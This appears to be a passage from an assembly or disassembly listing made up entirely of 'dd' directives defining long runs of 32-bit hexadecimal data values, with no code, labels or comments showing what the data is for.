		dd 7B6949h, 452968E5h, 841B5075h, 353A448Ah, 8060832Ah
		dd 0E77AF278h, 0A48008BCh, 4E19C0C9h, 35D17DBh,	20C0C446h
		dd 0C0B209FCh, 15D3E500h, 0CB786BF5h, 90674A2Dh, 20A462F8h
		dd 6F324200h, 59ECABB3h, 3DBB00F4h, 0F082E283h,	23008D5Bh
		dd 19636045h, 31FFFDE5h, 48E0C09Dh, 0E0544049h,	6D201081h
		dd 86C41E68h, 0FE04C0E9h, 0E5C9E2E6h, 8DA00695h, 0F0A70021h
		dd 0D24FBCBFh, 0D7050325h, 70E151B8h, 5ECA9404h, 46589496h
		dd 0BFE3020Eh, 31F6FDFEh, 0F2A51073h, 0B66901BFh, 0DE2360AEh
		dd 5DB3E424h, 11F87C54h, 45A44D00h, 29AE6837h, 0C8E45007h
		dd 8C48FDB2h, 0ECC150E6h, 446D0092h, 0BC7D7F9Fh, 22ECD21Ah
		dd 80A5473Dh, 0B703B802h, 628FF08h, 6D4EFA13h, 0CE00897Ah
		dd 0DA4499C5h, 0FAC431Eh, 1813814Fh, 0C2BDB6AEh, 0F30538BAh
		dd 0F991E897h, 0A4DEE80h, 0B9C2DEEBh, 414F5424h, 299DF60Eh
		dd 515380F1h, 0DB8DACFDh, 97479C00h, 151F72EFh,	0F92A3BB6h
		dd 0DD751800h, 0E25295B8h, 5009AE31h, 48404C35h, 7A0E28DEh
		dd 9C28C08Fh, 495E634Eh, 0A7126CEAh, 406C5C9h, 731CD66h
		dd 80A81A97h, 8C4220BBh, 363B234Ch, 9A4877C8h, 0B7F90014h
		dd 7C801152h, 0D0FE25h,	37540F4Ch, 5EA902B3h, 69D43854h
		dd 4113FA00h, 2E31804Eh, 74AE7617h, 0A8B0672Ah,	82CA14E8h
		dd 0E4301510h, 0FE3708BFh, 0A458E34Eh, 0DBF01EBh, 0C8D65072h
		dd 7A7CD42Bh, 5455D348h, 1F8C1238h, 0D402BFDFh,	71882856h
		dd 0BFEEA180h, 0E234C0CCh, 0DC60A8AFh, 127B31h,	67570DC5h
		dd 7FE61FF2h, 0A0D1A724h, 244AC480h, 6EBFC7EFh,	9F435165h
		dd 2000A699h, 0BE303A55h, 93AF86h, 28DF0EE8h, 0B76F9C73h
		dd 1529A09h, 3240098h, 0A8F707FEh, 257948ACh, 0CCC8391Ah
		dd 50C1D4D5h, 57E1C7FEh, 4B58A19Fh, 48105F3Bh, 8C071862h
		dd 0A91ABAD0h, 0E0ACFB74h, 41212830h, 2D008C10h, 0D91421E8h
		dd 0CC3834DFh, 19D1BE78h, 376F4C03h, 18914ACCh,	41FC7B59h
		dd 54482582h, 0E908405Dh, 40B3B3F8h, 0E5283801h, 19FEE445h
		dd 304410DBh, 0C9B50028h, 16CB0831h, 434CD018h,	100E2398h
		dd 0C8ECC8B2h, 4E1C04D5h, 0C3B098D3h, 21BCFE89h, 0D73BC43Bh
		dd 51B93102h, 4C616181h, 280C791Dh, 0CD20C0C6h,	0E2541397h
		dd 0ACEC5077h, 16013523h, 0ABACE8Ch, 3B882A18h,	0CF8C000Eh
		dd 5AF1CB9h, 8F3F67FBh,	4C0801F7h, 0D4668027h, 385AA180h
		dd 0A8EFA72Fh, 24B74F00h, 49459F39h, 0C7F626D7h, 904676C4h
		dd 0BA4A1Dh, 0CB7A1B9Dh, 7DE87947h, 8224A8A0h, 0FA4E7C04h
		dd 0B8BDE08Bh, 395F3CC3h, 6CACC900h, 0AE6E1FB1h, 0C2460176h
		dd 0B37C84D3h, 0CCE05104h, 0D0A04848h, 19CFDA30h, 0A15780h
		dd 612B645Ch, 0E03BB751h, 5D711E00h, 0AC1DADA3h, 655A0004h
		dd 48ABD49Ah, 7E00E6BCh, 8AB8DBE3h, 300A4E25h, 0C5A0A6CFh
		dd 78503931h, 2AB045D8h, 8F144971h, 0EC90CD3Fh,	0E2C8C71h
		dd 6D08E478h, 37980C75h, 6540CD10h, 5FE2184Eh, 0CBD380B1h
		dd 2F93D9C1h, 87F84412h, 65F0002Dh, 0FB064947h,	80B87CEEh
		dd 98C8120h, 40B77BC6h,	0E95C20D0h, 8CD2BCCCh, 54AFD303h
		dd 2D98FF2h, 52C61B88h,	0E4A134BEh, 20AD41B7h, 3CB042D4h
		dd 0CE02F246h, 0A34E16C0h, 4008C47h, 6D4FC0B7h,	53E2003Ah
		dd 8902A590h, 0F2019BFAh, 20B1ED12h, 65C00379h,	82C9007Eh
		dd 0EBEA924Fh, 19314A9Ah, 786EE877h, 9F96AC50h,	0CCC00057h
		dd 51FC66DBh, 4800D8CBh, 64827C34h, 8383AD5h, 0CFE71297h
		dd 2C39B30Eh, 446D4887h, 85040E62h, 0D3F125A1h,	26DC2889h
		dd 0B9F8009Dh, 2FA7C30Bh, 1A00932Dh, 0C372974h,	499C34FBh
		dd 7B820CE8h, 0A0829405h, 0C502D713h, 0F194848Eh, 17C0CF60h
		dd 11CB4E23h, 0B80B01C1h, 0E5AF7CC0h, 1F988E8h,	0EA371F39h
		dd 0A422C42Fh, 46741050h, 16DE001Fh, 9FD30C93h,	1F4EEEF3h
		dd 137AA62Fh, 4264B561h, 330B81Ch, 45E81128h, 80D6883Ch
		dd 2C283B41h, 0B3168E14h, 30001D46h, 0E899F8CCh, 0CBF92CFFh
		dd 48B8671Ch, 0CE605228h, 0A716C9F1h, 93C503B7h, 5F6FFA34h
		dd 0EAB081A6h, 0D1D3C100h, 6BF7C71Ch, 4A47B53h,	0F24EDD04h
		dd 0E8549117h, 0CA03618h, 61CB8535h, 0D32F185Bh, 4146B1BAh
		dd 0F027A233h, 19BCE7F6h, 123F076h, 0EF55710Fh,	0C335B141h
		dd 0E6364FB8h, 3E4AA000h, 0F318ED62h, 20DC9072h, 982164D5h
		dd 8FFB00F2h, 0F5855C08h, 0FFFDFC17h, 72809D10h, 12C9D58h
		dd 0C56C8682h, 76FFDF7Bh, 0EC65010Ah, 81D8E618h, 162C3611h
		dd 0CC09BFE8h, 8E2CB1EEh, 0BFEFA810h, 4FF9B501h, 7FDE61Dh
		dd 0B70C346h, 372E2146h, 0C3A5E010h, 15AC7682h,	2204B096h
		dd 0B17A5146h, 0A102E47Ch, 1B8C1700h, 0FFFE97E9h, 38A76281h
		dd 0D8E16449h, 46D19E99h, 38357E4Ch, 0C0D74E5Dh, 12381C70h
		dd 81BDF304h, 4CD490AEh, 0E24DC441h, 0C424C83Bh, 0B9E12C81h
		dd 0F1AC0300h, 180CCA5Fh, 31D365F2h, 6ACE00E3h,	1F831C0Dh
		dd 3B5D5B86h, 225100F0h, 7ED9BB48h, 984652CCh, 3365E60Fh
		dd 1C4488F2h, 0F7804805h, 0F44003DAh, 12FB65C3h, 4A3A0171h
		dd 372310F2h, 7BE8D73Ch, 0D26F678Bh, 0E1744081h, 7DA5FF0h
		dd 0EB87088Ah, 0CFE680B9h, 689816E7h, 75298EE2h, 7379DCD9h
		dd 0E83E6218h, 1064C8BDh, 351304D3h, 530CB446h,	249A73F8h
		dd 4981AF12h, 288EF884h, 2BC0BE88h, 0F9A2BCh, 0B9F758C9h
		dd 0B67C3593h, 3401ACBBh, 0C19B7EB2h, 0BABD51E8h, 13C80F58h
		dd 35254A70h, 5EF80E49h, 0A00E39B8h, 36C66F00h,	0A326309Dh
		dd 0A55D0F9Ah, 0D0C04527h, 7619BF38h, 8479C0C8h, 826B6C35h
		dd 5C501120h, 0C4285F7Ch, 3FFF084Ah, 0BA84681Fh, 0B4902D49h
		dd 0A89711D4h, 247F1B88h, 604F18Bh, 987B6659h, 25AFFF09h
		dd 0A49CC2FCh, 0E56014A8h, 0FE1038BFh, 0A3B0E346h, 0BE00BFECh
		dd 28D53CD3h, 17950D7Ch, 4BF7E27Fh, 6C87EF0Ch, 5E16E886h
		dd 121A44A4h, 202D9F5h,	0F1933C80h, 679348D4h, 12A694E4h
		dd 256CDBh, 5424F2D5h, 1774E838h, 0C7DA6712h, 19995040h
		dd 0F58C30h, 8958282Bh,	10F1ED4Fh, 34D02F02h, 49C5E5AEh
		dd 0C180FE40h, 0D61771FFh, 0DF5CC309h, 84998460h, 0C810CB12h
		dd 700FC0FAh, 0E1C32F5Eh, 88CA06EFh, 0B4A4C7h, 99EEACE6h
		dd 687ECB37h, 81B6C102h, 4733E9BDh, 60C46450h, 3F0E9A2Ch
		dd 18791959h, 21F565FCh, 8D009BB5h, 86708CC1h, 7F34C1Bh
		dd 9F9F1ECh, 379711FBh,	8E1AC822h, 5409B275h, 2AACE30Ah
		dd 4E123414h, 9FFF64C0h, 0C500E9A9h, 9961A24Ah,	0CADAA118h
		dd 304DC050h, 516F00B8h, 2834B1FCh, 0D40687ADh,	92EE79FDh
		dd 0A7DE0230h, 0FB71BC8Ah, 0A63B4860h, 65E35C09h, 46DCE8AFh
		dd 79766059h, 0FC12076Bh, 0C0C06780h, 45EA3AD9h, 0CE05403Eh
		dd 6241FE32h, 0B1CFC492h, 1C326EA8h, 0BF6F901Ch, 25CC6C80h
		dd 914B8BF5h, 0E7BBD00h, 221E3075h, 6C690127h, 0E6414872h
		dd 18466B35h, 2D80A809h, 342F3FCCh, 0A069A782h,	5FB64800h
		dd 88F8AB30h, 1B1E82Bh,	7014B2C0h, 0C039AB9Eh, 0F700DA41h
		dd 0E83017A8h, 47AE7B6h, 4B1BC8E6h, 0F84C27Dh, 7EADEA31h
		dd 0E071C842h, 0BFF1A640h, 0D42B0091h, 0B3F695F8h, 67404151h
		dd 0F0264C8Fh, 7FBC4908h, 6E686482h, 0F78D080h,	2151BAB5h
		dd 0C843301Ah, 0AF083B5h, 0FF6502CCh, 383078CDh, 70D041Eh
		dd 90F1F7F2h, 0E5093728h
		dd 7CE27EBCh, 0A9019451h, 5E0BD934h, 4BE95CFCh,	225BB01Eh
		dd 222C7627h, 20AD8214h, 0B4C0E5DEh, 2B14D21Fh,	54C02892h
		dd 4AB3F9CDh, 0E2EC1DD6h, 51E93Eh, 3B4745AAh, 289B4EEAh
		dd 2B9BCF3h, 4C8D58B9h,	808281A5h, 64D182F9h, 61188FD9h
		dd 8E021B3Eh, 65F532Ch,	0B21796Dh, 0A68ADBF0h, 0F7E54400h
		dd 4707A28Dh, 0CA79E77Eh, 0F9A7FF91h, 0E978016Eh, 6A315DF8h
		dd 0D81D0440h, 755E90DEh, 377A006Dh, 0FCF2224Eh, 93E9242h
		dd 8118DDA5h, 23167948h, 5298C500h, 468C125h, 0E4407EC4h
		dd 489B7D28h, 37F90E17h, 8E31A600h, 1618F658h, 1C4D86Eh
		dd 659F880Ch, 0CF58BCC6h, 0C0E67C20h, 2A4B0BEFh, 0A8700A46h
		dd 9C4ACC1Ah, 706C5B21h, 0C601088Eh, 195A26FCh,	2420B548h
		dd 60A8410Ah, 80407EA0h, 9032545Eh, 3B940099h, 4A37DE67h
		dd 0B50E3D34h, 1D7C6A43h, 3C00C357h, 35E7C904h,	0F6CCB6ECh
		dd 7D3B1100h, 9CE87418h, 4AB4A08Ah, 4880822Fh, 0E625431Bh
		dd 0F65F3700h, 0A545D338h, 49CB12D9h, 4020C494h, 1D9F525Ch
		dd 0BE00F8E0h, 2E0EA0B6h, 14E0595h, 0B976659Ch,	248DF151h
		dd 61625EB8h, 48C8DA39h, 278B6Ch, 55EA9498h, 0DF4D60Eh
		dd 1DFFFE0Ah, 180098B4h, 0C17EE545h, 0F3E23FC8h, 0A1010240h
		dd 39BABD09h, 14709EDDh, 0B77C160Eh, 0CB20E061h, 9C204E5Eh
		dd 80D251A7h, 67520566h, 1F023A0h, 4E18C0D0h, 898C73B3h
		dd 60708E0Ah, 0BFCB4B25h, 269498D5h, 42E0F88Dh,	5E052AE6h
		dd 254CF4h, 0D7263364h,	4A84114Dh, 60B9EE00h, 7BFD18CAh
		dd 4C9C0B05h, 0D0C6B32Ah, 0B6CD6645h, 4613643Dh, 0FD542021h
		dd 0C640FE07h, 406E5F1Fh, 0E1029488h, 90070A91h, 0F8B21DC9h
		dd 0EF3B011h, 9E46B3DCh, 0D93962A4h, 0D6593CDBh, 3C3C35ECh
		dd 2B00DFB6h, 391C5CE6h, 0FB0F4637h, 6305A9B2h,	0FD5EBEABh
		dd 0F3F08440h, 963D2Eh,	8FCB22C0h, 5F7FF950h, 0DDCBF01h
		dd 627AB034h, 0D004B42Ch, 0E1989BB8h, 0EC703CC4h, 36008C27h
		dd 688F4902h, 0BDC8299Fh, 0C066C409h, 80980D38h, 947EF237h
		dd 90E8E924h, 71D0B9FCh, 0A2188Ah, 2825AD63h, 0D9F957B8h
		dd 3A0E950Dh, 5AC478F6h, 2C8B5CFEh, 19CAE986h, 0D8E6B500h
		dd 2B989DB1h, 3146001Eh, 61B43FE1h, 224881BDh, 8C304A70h
		dd 82E2E32Ah, 8765B082h, 60A2E504h, 203171F2h, 387EC860h
		dd 66170B8Bh, 74B0A3C9h, 98052200h, 0ECB73A09h,	7C3B050Eh
		dd 0A252CC8Bh, 18E917ACh, 0B913C4A3h, 0FDECD193h, 0F23422D8h
		dd 473F308Ah, 3729441Dh, 50FCC5Fh, 5424C1D9h, 0E460C54Ch
		dd 0F2C18390h, 7408388Bh, 9DBE8214h, 903A4B98h,	36008923h
		dd 0AE9892A5h, 0D2310097h, 68FB3493h, 0F1247A5Dh, 3611440Dh
		dd 6778AE00h, 0E71F053Fh, 4EAC4600h, 25225345h,	0F3951658h
		dd 7E18001Dh, 71FFDFE3h, 5E494817h, 41C44CC2h, 87AD474h
		dd 5397A390h, 2C903416h, 9488C151h, 0C24676CCh,	0B4B7C90Fh
		dd 6F845543h, 0C6E8D993h, 0DF07830Fh, 67C7CBE5h, 760C8589h
		dd 1FFBA4D7h, 80C19130h, 0C77926A0h, 35B80920h,	7082A2BAh
		dd 97180547h, 0A6A18381h, 71106C35h, 44A7A2Fh, 648BE000h
		dd 5AC08AC8h, 79945933h, 3F25767Bh, 0E593E7D1h,	3564C8C5h
		dd 3997FB88h, 1C1D4DF2h, 0D8B34C98h, 723122A0h,	0C61138E6h
		dd 188870Ch, 9459543Ah,	0B77B13C5h, 72D04CA6h, 0CC4C5748h
		dd 8C23F858h, 2C1F8905h, 0A2C0086Ch, 0BE935E22h, 41AD4430h
		dd 0D43F09ABh, 81FB6882h, 7840A0DAh, 70C1A6CCh,	607FE3Ah
		dd 1803202Ch, 0D0A3E246h, 3F81301Ah, 51C40B0h, 95C88076h
		dd 1531BA0Ch, 1452108Eh, 641A45FAh, 19013A23h, 12BAC98Ch
		dd 40882618h, 0A8C0011h, 0EF78F9C8h, 0E078D0EDh, 4E8EB900h
		dd 0DC79B866h, 0C42CA528h, 0F51C602Ch, 786D58F9h, 0EEA1A88Fh
		dd 0FC740B44h, 0C00C0B5h, 213B2D3Eh, 4A927C37h,	0A4A041DAh
		dd 0F01A2A50h, 4103696Bh, 548ABC01h, 0BE338838h, 0A64E0A20h
		dd 1F887B7Dh, 0B734001Bh, 0CA7549B6h, 0F1AEB0A0h, 8C026F28h
		dd 6965EB25h, 0DAC8B390h, 8109009Ch, 0BC22FC4Bh, 4D000FE3h
		dd 3D91B658h, 9821F029h, 317B0204h, 0CBBF97A1h,	6547E05Ch
		dd 0EFB932h, 0ED630546h, 4E097498h, 0EA40CBE8h,	7B05938h
		dd 0E0E24BF9h, 2C3DBF85h, 0AF1A9200h, 5145C1B8h, 1C389ED6h
		dd 0BD3904D0h, 0FE588868h, 8488F94Ah, 0FD058CB6h, 0C45EA27h
		dd 3FC0DCB2h, 0D1612835h, 0CD132EE2h, 34906DE9h, 4472C2h
		dd 1BF7A005h, 98486EADh, 5F0CBD07h, 68112F2h, 9FC04E82h
		dd 0C475F9B5h, 7E00D82Dh, 0ADEAD65Ch, 83019C1Ch, 5147BDE9h
		dd 4B61AED4h, 0CBC3AC41h, 202B2A09h, 0AC012E23h, 725E8292h
		dd 8B88442Fh, 0CC7B01A7h, 518CC04Ah, 33393C5Dh,	0D9393A3Fh
		dd 71122E30h, 0E4BD3032h, 0F8D490C8h, 0C1B566Bh, 0C8648725h
		dd 31A3DCE5h, 64FA9C01h, 6EA42E33h, 0A000C062h,	8E03B0F6h
		dd 0CB0018A7h, 0E1B36BA2h, 0E0905594h, 7AA03080h, 0D3FEABB0h
		dd 0E018A099h, 3E815141h, 6C50895Ah, 34B14343h,	0A88E29A1h
		dd 7EC38988h, 955988BEh, 0C7EB0491h, 0A9DA4329h, 80FD0934h
		dd 17B68054h, 1115CA4h,	0AAA70895h, 0CC02019Dh,	0B816C987h
		dd 44C81849h, 0CD058CEBh, 0BB4E15C0h, 500288Eh,	2838C0B6h
		dd 0C8FE10E9h, 3224D100h, 71AF87E8h, 0F62490C9h, 94064D4Ah
		dd 0FDBBC509h, 8FD1A871h, 83018D18h, 643A7B32h,	34706605h
		dd 41480B22h, 0E04C27FAh, 35090262h, 144CFA4Ch,	0BC4816E4h
		dd 0C5246722h, 4D09E4F1h, 0D4C22B9h, 0C90E00Fh,	230584CDh
		dd 0C2B53B72h, 3E811081h, 4CF3D824h, 0C125D46Bh, 8482B8C2h
		dd 9300D7FFh, 0D671795Ah, 0CB741228h, 0C08F8854h, 58435191h
		dd 0B03CCD01h, 6D2BC8B6h, 40AAC460h, 0A716FF98h, 484CE0Dh
		dd 9110A8A6h, 514812AEh, 2CFD04E4h, 87E8CA07h, 8565C67Dh
		dd 80E8F036h, 823A221Bh, 0AC35E358h, 3B02E0BDh,	0C709A77Eh
		dd 275458C8h, 6890107Ah, 828001FEh, 0CCCD58F2h,	1EAE8D11h
		dd 0A8E88918h, 84B9272Ch, 0D8834E65h, 0AF3802A9h, 2F17BE59h
		dd 0E9E6A08Fh, 6B225816h, 0BCF300A6h, 4947F0B6h, 80B49792h
		dd 2B3B188h, 127E414Ah,	0D864E476h, 74B800E8h, 0EAD8018Ch
		dd 0FE4147B8h, 4A07D7Dh, 0D3223A99h, 5020C8h, 6CCF67C6h
		dd 0E8C2FF9Eh, 11B01795h, 0C12E81D8h, 91CC236Ch, 8D084E9Ah
		dd 0D1F9D8B0h, 0A4E1704h, 8CF9C99Fh, 0C46C752Eh, 0A7D5EAFh
		dd 9C432DCCh, 99D2D30Bh, 0E18D86E4h, 0F8A1375Eh, 32272794h
		dd 0C6490h, 0B84AE5B0h,	0C60C448Ah, 24D1BC3Ah, 0B3F749Dh
		dd 2C923D7h, 19677554h,	258183D6h, 0AC224846h, 35A73704h
		dd 0ADB94861h, 0F6340805h, 9E919CACh, 0ED26F23Ch, 0C0CBC040h
		dd 0EB464E1Bh, 0ED98BD22h, 7236C058h, 53FD1202h, 90E2AF0Ah
		dd 449EC998h, 444FE38h,	124212A6h, 4DA4A481h, 8A8A0CEBh
		dd 18346461h, 0CF8C0817h, 2DC442BAh, 8C0FC05Eh,	0A8615E41h
		dd 0A76D58C4h, 35223632h, 8508544Bh, 84CBF9C5h,	0EDF02D1Ch
		dd 482153Eh, 280230B1h,	0F47F45E6h, 42D44486h, 81283A2Fh
		dd 0E3100CF8h, 0ACDFCC41h, 1284710Ch, 88D6859Fh, 958098F0h
		dd 0C564D0Eh, 0CA88481Fh, 61F801FCh, 367A9941h,	713EA000h
		dd 0D0A38839h, 18452184h, 84300E78h, 11F65521h,	8DCC181h
		dd 2F2A8A1Ch, 127123E4h, 51E9027Fh, 30E965F5h, 2E082027h
		dd 8C1D028Ch, 0A8F2BAC5h
		dd 3C401859h, 1DB98C15h, 1946CF4h, 72594644h, 0C93C232Ah
		dd 99C7434h, 985A4935h,	9DE6E401h, 3F2A5473h, 43F9835h
		dd 8254A04h, 4BE1168h, 0CCD309C5h, 8AD58088h, 412245Eh
		dd 292898E3h, 0F8752144h, 80FEA4BDh, 1A603944h,	0BA29CA8Ch
		dd 291178EAh, 8C11F707h, 7BD1D0EBh, 1904F5B3h, 0E9226B83h
		dd 0E98390DBh, 30B09D6Ah, 0DC5B33ADh, 18F02412h, 0B92E2E50h
		dd 0F254615Ch, 44028EBh, 235AFDC4h, 7F4423BBh, 54250901h
		dd 7830F245h, 17FCA0C2h, 2DC847B7h, 78A0AF7Bh, 22C73B0Fh
		dd 0C6D6CC1Dh, 78C81917h, 2E574ECEh, 0B2E231Ch,	0FBC3B349h
		dd 2545C03Ch, 11C4496h,	99842F41h, 7D557151h, 6A0782E8h
		dd 0C11805CAh, 76681138h, 527B0434h, 0E2356295h, 3074B228h
		dd 0D63F4414h, 0AF27FA7Ah, 1D18E2EEh, 80D711DCh, 0D2C775E6h
		dd 0E4309774h, 97497C79h, 12F232Ch, 0BACC8C1Ch,	882C18FAh
		dd 8C7E143Dh, 0AB559A03h, 4DC0709h, 0A59002F8h,	770A95Dh
		dd 983A0F60h, 70E56FA0h, 97E63BA9h, 96EB7900h, 0ECF9C0DBh
		dd 0C9E75814h, 33122E0h, 60404AFAh, 0A783D903h,	93BCE9B8h
		dd 57872C01h, 2FAD3BAEh, 0E790202Eh, 4B002841h,	7981F0Ch
		dd 0E89C73h, 11622F64h,	0A9B302D0h, 68EEE032h, 91C897D9h
		dd 479C8E90h, 3890DA48h, 606E7708h, 0F1EC2180h,	7B01964Dh
		dd 2AF3E7AAh, 0C203FA5h, 35521261h, 0C7449C99h,	0E0CB1D4Ah
		dd 0CFC0C3C8h, 2B1B4CEh, 0AF7CC1BDh, 3448A139h,	0D512ED24h
		dd 0F5129DBAh, 6D103890h, 2AA9C064h, 0EB1724Eh,	4A3B901h
		dd 0C10BB8D0h, 40ED0470h, 0C558E9BCh, 0C7651040h, 0B1350F02h
		dd 8C4466EBh, 1BCC6C00h, 5880942Fh, 4045B18h, 5C63546Ch
		dd 49110840h, 7B45E9C9h, 529109D4h, 10D47479h, 0C7BD7884h
		dd 26A24CE3h, 49D430h, 0AF89C85Eh, 7B5EC6Fh, 28B38B02h
		dd 4C40CC3Bh, 98E50170h, 515A9337h, 0BC1C6486h,	22B86158h
		dd 1B70367h, 57C8F670h,	77F1AD80h, 0B30D74B2h, 387AD931h
		dd 95AC006Ah, 665E7B4Eh, 6988FB54h, 9FEF7200h, 0AA138DEh
		dd 41403CBh, 34F0C9DCh,	0B6D5F001h, 33A59381h, 5710883Ch
		dd 8EC513D0h, 0FFC79405h, 59B938C0h, 38963071h,	37F2A38h
		dd 46768CB4h, 34B60026h, 0A03DF1F4h, 72E11AF8h,	7C58CAB3h
		dd 0B9464F12h, 0DC040013h, 1F00BE69h, 0C76FF1CEh, 8C90B09Fh
		dd 0C42F00E1h, 269925Dh, 0E002014Ch, 50F57903h,	541C421Bh
		dd 72465E9Ch, 0B57C270Bh, 5AAE8410h, 0B68090E4h, 9CA09FD9h
		dd 0E7868E89h, 0CE184800h, 9B4EE43Dh, 0CC40075h, 0C045A96Eh
		dd 1177047Ah, 0E8BCA195h, 0E0EF8941h, 17A9BC78h, 2184B9Dh
		dd 0F3E33634h, 0FA716C51h, 8A013618h, 4A7002DDh, 0EC4CAF71h
		dd 0C22F01DFh, 1BF24E6Eh, 80F049A7h, 24A5B518h,	0FA6FE33Ch
		dd 0DEF528FFh, 0D44B2AFCh, 2C53E0F0h, 4078D34Ch, 1272C7F7h
		dd 71114901h, 0F67956FCh, 2560203Ah, 0AE01CC9Eh, 49145A75h
		dd 1CEC2E81h, 94B50038h, 0A0500EE8h, 0B89371B2h, 0D2853509h
		dd 0FA4D0C94h, 1C80E3F3h, 4BBB7E0Ah, 0FE02C653h, 71D52D9Fh
		dd 0E5A74154h, 3E9F08F4h, 29EBD9AEh, 35256C53h,	90123BF4h
		dd 0DEAC3085h, 36001C7Ch, 27E6BBC7h, 0E87949Fh,	525F42D1h
		dd 2203C6C1h, 0AF29D015h, 0EA7880B5h, 5E09AE0Eh, 3014876Bh
		dd 1C67971Dh, 0D97E4801h, 0DBED7282h, 30785FFCh, 0B21764F9h
		dd 0DC0901BEh, 0DC9D59B8h, 406E4564h, 816FFB9Ch, 0F4CF0ADh
		dd 5A1A7628h, 51288341h, 7B6242F0h, 27325D02h, 3741B022h
		dd 6F00DAD3h, 16B50593h, 7D82AEA0h, 3A011AF3h, 0CE179BDh
		dd 0F8C7149Fh, 0C304C578h, 0B2A545C4h, 3C40C038h, 179EE28h
		dd 0C4899575h, 0C2BB0A54h, 49AF3060h, 1588249h,	2C740B24h
		dd 8C725EFEh, 0A4308500h, 0F57BB232h, 0B5A62500h, 2915AC9h
		dd 54D907FAh, 726E0F9Bh, 9869F188h, 45CA82E4h, 0D02BEE79h
		dd 0B7FEF828h, 0FA91E817h, 0F88EE484h, 5A51135Ch, 27E01CA0h
		dd 18E86682h, 0B4006E80h, 8EB8728h, 0B35267Dh, 0D9487EC8h
		dd 0D244D067h, 4EA5B060h, 0C8D70A17h, 85A46446h, 0C4288588h
		dd 672560D3h, 0F1D000B0h, 586B5378h, 480F46DFh,	814F50AEh
		dd 28457C57h, 2A7AA1FBh, 7B13FC28h, 2D14F3B5h, 0CC0E437h
		dd 8F565946h, 0C2057F28h, 81A249CBh, 0E51064F9h, 228004BDh
		dd 0E4E29586h, 0DE01DB22h, 97E7A128h, 162E1FF2h, 23FC3A10h
		dd 0D4CC0029h, 4D1C2A2Bh, 30394A1Fh, 0A0C73880h, 778A81B8h
		dd 16889A95h, 17F1CECh,	4958CCB4h, 0CFFBE8EBh, 0DF75E905h
		dd 0A8E663FAh, 0DE1E78E0h, 600106E2h, 75045948h, 0F0886386h
		dd 44016737h, 2F665334h, 206D1197h, 2E0825D8h, 1400907Ah
		dd 16FBEED4h, 4A125362h, 0DA640947h, 0B927ACC8h, 61777B00h
		dd 7DE8A75Bh, 84E74B7Fh, 88748ED0h, 3409C08Fh, 470213D7h
		dd 5498232Fh, 8584F14Ch, 0FCE45352h, 8CD5BCF8h,	19566A02h
		dd 74F5B7FEh, 9621849Ch, 0D4E6007Eh, 9A6F4C94h,	39082754h
		dd 8A647867h, 0BD2B1C60h, 5867EF00h, 0E82239F7h, 0C7FD16CAh
		dd 8EB213E1h, 0C12EC8D8h, 63813574h, 57120854h,	828829CBh
		dd 943251FEh, 0DC795A31h, 5306B4Eh, 0CEDADCC1h,	0C35BA840h
		dd 3F204Ah, 6E1428E1h, 0C7A20DE2h, 8B095739h, 41262145h
		dd 0F98DE798h, 30A176E2h, 0F0FE73C4h, 1F231400h, 0C8E32D08h
		dd 5D7F27E7h, 47D81084h, 0C6B409ADh, 0B2BF9904h, 30C2F20Ch
		dd 2F0027DFh, 76116783h, 7FD3DC3Eh, 0DDF200F9h,	242581CFh
		dd 7B38B0C6h, 3D9F0960h, 371002D1h, 0F1F4D1C5h,	0A918C2h
		dd 0E099544Fh, 2B447995h, 685DAE2Fh, 1F596734h,	0E8077Eh
		dd 4AA6B503h, 80ADD37h,	50FA5431h, 618E3881h, 0A070A699h
		dd 0A3D4443Fh, 0B592AF0h, 39AF1EB0h, 3000A8D3h,	65F54445h
		dd 1461485Bh, 16038384h, 40F77428h, 8127BDC5h, 0CA508494h
		dd 0F0F8D8B8h, 310E1C8Ch, 0B434CF53h, 0B8599F44h, 4DCC047Ch
		dd 84108277h, 3474E2C1h, 9699207Dh, 0BCB0DA05h,	0E42ECCh
		dd 0EF7F3235h, 54646C61h, 37DF0B00h, 7B2EB91Dh,	58BC4CEDh
		dd 0D642401h, 0C9CFDA7Dh, 40A47CBBh, 9807FDF0h,	35615D80h
		dd 5E65C592h, 0D91B898Ch, 60D3A03Ah, 2D0F4970h,	0E8E477F9h
		dd 0A73EDA00h, 7C711EF6h, 236B026Ah, 0E581E2D8h, 0E445CC44h
		dd 0A0A672C9h, 0E0CF964Ch, 450B5440h, 911131B3h, 93F6FA8h
		dd 44F815C8h, 9178979Fh, 696A808Ah, 9B990C7h, 40E177C5h
		dd 0A8ED7C02h, 4D42C824h, 0DE1BF2h, 0EE1C3980h,	5E4FEE8h
		dd 981E2811h, 0F234B244h, 50103026h, 0BE33EC00h, 113527ACh
		dd 7152127Bh, 0CEF0D19Eh, 3A930041h, 9E49C55h, 649FBE6Eh
		dd 12808F91h, 0B0D6063Ah, 29A3470Ah, 4A97A84Bh,	57B3CD0h
		dd 0BA80C48Eh, 0C0020043h, 9A365DBFh, 5A9313DCh, 0C840F0DDh
		dd 907EFD22h, 0C7E3386Ch, 7BCA7602h, 44BA9B7h, 0A1867FE0h
		dd 526ED30Bh, 0D904517Dh, 0CF4188Eh, 0D56C6797h, 89091A8h
		dd 8CC07C64h, 1672FD4Eh, 2134C0E8h, 0C73FF3E7h,	0E06802BFh
		dd 0F4316E42h, 0D1DE1898h, 0ED245291h, 7D46307Ch, 88A4250h
		dd 43C785B7h, 401E5E2Ah, 3D093AB8h, 20C4FA87h, 220AFDF3h
		dd 84C6B548h, 0EB24D310h, 60B464ACh, 2EE42837h,	73681C45h
		dd 7B282FE0h, 0EBBF1E00h, 29AE928Ah, 4822FFB7h,	2DBE03Eh
		dd 0CA270AA8h, 0C5B3D301h, 0DB88384Eh, 8D1344C0h, 1FB4EAB2h
		dd 923D7A85h, 51884FC7h
		dd 6EC9B41h, 863BE069h,	539F7001h, 65ED5AB7h, 99DC202Bh
		dd 0E6000A50h, 7D7AD748h, 131EA02Eh, 0A257AB74h, 301FE254h
		dd 0A200563Fh, 0C271DE37h, 144CFA7h, 68E5DF10h,	0C1D0419Fh
		dd 21C47CBBh, 5620AE14h, 4007D946h, 0D0DF298Ch,	3496F349h
		dd 4F542500h, 0AC8D3808h, 8E711Dh, 3FC15029h, 23253CCDh
		dd 65E7E41Dh, 0E52CC02Fh, 0D4A09F5Dh, 16F82737h, 9ADB0C00h
		dd 0F1710B43h, 27FEC13h, 7AC04A72h, 8CB7CBE6h, 7C7E2180h
		dd 64A5E9h, 0D99C0D14h,	0FFFE7D47h, 1491B15Fh, 0C038D321h
		dd 49C30B70h, 0A0702251h, 0BCA0E04Ch, 9058C74h,	53CBAD73h
